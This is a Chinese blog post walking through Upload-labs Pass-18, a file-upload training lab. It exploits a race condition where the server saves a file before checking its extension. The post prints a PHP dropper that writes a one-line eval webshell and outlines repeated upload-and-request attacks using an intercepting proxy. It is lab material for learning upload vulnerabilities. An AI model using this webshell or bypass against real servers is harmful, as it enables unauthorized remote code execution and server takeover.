首页 > 其他分享 >Upload-labs靶场Pass-18

Upload-labs靶场Pass-18

时间:2024-10-28 10:44:54浏览次数:7  
标签:文件 shell 18 Upload upload labs file php 上传

Upload-labs靶场Pass-18

1、分析源码

// 初始化上传状态为 false,并且消息为空
$is_upload = false;
$msg = null;

// 检查是否通过 POST 请求提交了表单
if (isset($_POST['submit'])) {
    // 定义允许上传的文件扩展名数组
    $ext_arr = array('jpg', 'png', 'gif');
    
    // 获取上传文件的原始文件名和临时文件路径
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    
    // 获取文件的扩展名
    $file_ext = substr($file_name, strrpos($file_name, ".") + 1);
    
    // 定义上传后的文件完整路径(包括文件名)
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    // 尝试将临时文件移动到上传路径
    if (move_uploaded_file($temp_file, $upload_file)) {
        // 检查文件扩展名是否在允许列表内
        if (in_array($file_ext, $ext_arr)) {
            // 如果符合条件,则生成新的文件名(随机数 + 时间戳)
            $img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;
            
            // 重命名上传的文件为新生成的文件名
            rename($upload_file, $img_path);
            
            // 将上传状态标记为成功
            $is_upload = true;
        } else {
            // 如果扩展名不符合要求,设置错误信息,并删除上传的文件
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    } else {
        // 如果文件移动失败,设置上传错误信息
        $msg = '上传出错!';
    }
}

这段代码实现了一个简单的文件上传逻辑:
文件类型限制:只能上传 .jpg、.png 和 .gif 文件。
文件重命名:避免文件名冲突。
错误处理:确保不符合条件的文件不会留在服务器。

2.原理

发现

 尝试将临时文件移动到上传路径
    if (move_uploaded_file($temp_file, $upload_file)) {
         检查文件扩展名是否在允许列表内
        if (in_array($file_ext, $ext_arr)) {

代码中先将文件移动到了上传路径,然后才进行检查,不合法删除,合法重命名。于是我们可以多次发送请求,在非法文件没有被判断之前就访问它,该文件就会生效,我们可以上传一个能生成webshell的脚本,访问的时候,就在当前目录生成webshell一次来达到上传目的。这就涉及到条件竞争。
对于条件竞争,我不做过多介绍,大家可以参考
条件竞争
条件竞争之文件上传
或者自行查阅资料

3.准备工作

我们可以准备一段恶意代码

<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
?>

这段PHP代码的目的是通过在服务器上创建一个web shell文件(shell.php)来实现远程代码执行(RCE),属于恶意代码的一种,用于攻击或控制服务器。
代码解释

fopen(“shell.php”, “w”):
打开或创建一个名为shell.php的文件。
“w"表示以写入模式打开文件,如果文件不存在会自动创建,如果存在则覆盖其内容。
fputs():
将第二个参数中的字符串写入到打开的文件中(即shell.php)。
在这里,”<?php @eval(\$_POST[1]);?>"被写入到了shell.php文件中。

于是我们多次上传这段代码,然后不断访问,访问成功,就是在文件目录下生成一个shell.php,然后我们就可以访问shell.php来达到上传的目的。

4、攻击

4.1 先抓取恶意代码上传文件的包

发送到攻击模块并进行配置
在这里插入图片描述
在这里插入图片描述

在payload模块
在这里插入图片描述

第三个,模块
在这里插入图片描述### 4.2 对访问恶意代码进行抓包
1.先上传一个可以通过的文件,获取到文件路径
2.然后通过此路径访问脚本,来达到在服务端木马生成木马的目的
3.抓包
4.跟上面一样进行同样配置,然后开始攻击
在这里插入图片描述
在这里插入图片描述

4.3 开始攻击

将两个模块打开开始攻击
在这里插入图片描述

5.结果

查看服务端‘
在这里插入图片描述
然后我们就可以访问
shell.php脚本,因为生成的是一句话木马,使用蚁剑连接
在这里插入图片描述
连接成功!

标签:文件,shell,18,Upload,upload,labs,file,php,上传
From: https://blog.csdn.net/wanggonghanfei/article/details/143275697

相关文章

  • 【Java】【SpringBoot】i18n国际化
    前提SpingBoot项目已添加Web依赖步骤打开资源管理器(resources)新建i18n文件夹。右击,创建资源包。当然,后续也可以添加语言包注:名称一定要messages向资源包添加学习区域设置对应配置文件语言信息中文简体(messages_zh_cn.properties)sys.config.newParameters=新增参......
  • 【已解决,含泪总结】非root权限在服务器Ubuntu18.04上配置python和torch环境,代码最终成
    配置torch环境pip升级因为一些包安装不成功可能和pip版本有关,所以先升级pip吸取之前python有多个版本的经验,所以我指定了Python版本的pip进行升级就是python3.8版本:/home/某某/Python3.8/bin/python3.8(要换成你实际的python位置)/home/某某/Python3.8/bin/python3.8-......
  • [1618]基于JAVA的数字物流市场智慧管理系统的设计与实现
    毕业设计(论文)开题报告表姓名学院专业班级题目基于JAVA的数字物流市场智慧管理系统的设计与实现指导老师(一)选题的背景和意义选题背景与意义:随着我国电子商务行业的迅猛发展以及“互联网+”战略的深入推进,物流行业作为支撑整个产业链条高效运转的重要环节,其信息化、智能......
  • 1-petalinux2018.3摸索记录-petalinux-config
    1-petalinux2018.3摸索记录-petalinux-config一、petalinux-config的具体配置-ZYNQMPConfiguration​​1、LinuxCompomentSelection​​LinuxCompomentSelection,Linux组件选择.FirstStageBootloader和Autoupdateps_init勾选会自动生成fsbl.elf,自动更新ps_i......
  • 0-petalinux2018.3摸索记录-快速亮机
    0-petalinux2018.3摸索记录-快速亮机一、环境搭建1、环境要求①需要注意petalinux、vivado、vitis、linux之间的版本对应关系,在ug1144上可以找到②需要注意linux的硬件要求,运存8G以上不然会报错等等2、环境依赖配置2018.3_PetaLinux_Package_List.xls......
  • 4-petalinux2018.3摸索记录-linux驱动(交叉编译)
    4-petalinux2018.3摸索记录-linux驱动(交叉编译)前面通过petalinux-build完成了镜像的编译生成,通过命令行完成了GPIO的驱动,接下来记录如何使用C语言在Linux通过交叉编译的方式完成xilinx-linux设备驱动的开发。学习过程中发现,大部分厂商的教程都是提供一套带脚本的环境,......
  • 3-petalinux2018.3摸索记录-命令驱动_交叉编译链
    3-petalinux2018.3摸索记录-命令驱动_交叉编译链一、命令行控制GPIO对于ps端设备,在板卡的linux系统中,切换到/sys/class/gpio​路径下可以看到目前挂载的gpio设备。export:导入用户空间gpiochip:系统中gpio寄存器信息unexport:移除用户空间​​以MIO40......
  • 2-petalinux2018.3摸索记录-petalinux rootfs
    2-petalinux2018.3摸索记录-petalinuxrootfs​​1FilesystemPackages文件系统软件包2PetalinuxPackageGroupsPetalinux软件包组3ImageFeatures镜像特性4apps应用程序5userpackages用户软件包6PetalinuxRootFSSettingsPetalinux根......
  • 1-petalinux2018.3摸索记录-petalinux-config
    1-petalinux2018.3摸索记录-petalinux-config一、petalinux-config的具体配置-ZYNQMPConfiguration​​1、LinuxCompomentSelection​​LinuxCompomentSelection,Linux组件选择.FirstStageBootloader和Autoupdateps_init勾选会自动生成fsbl.elf,自动更新ps_i......
  • 0-petalinux2018.3 摸索记录 - 快速亮机
    一、环境搭建1、环境要求①需要注意petalinux、vivado、vitis、linux之间的版本对应关系,在ug1144上可以找到②需要注意linux的硬件要求,运存8G以上不然会报错等等2、环境依赖配置2018.3_PetaLinux_Package_List.xlsx①安装包sudoapt-getinstalltofrodos......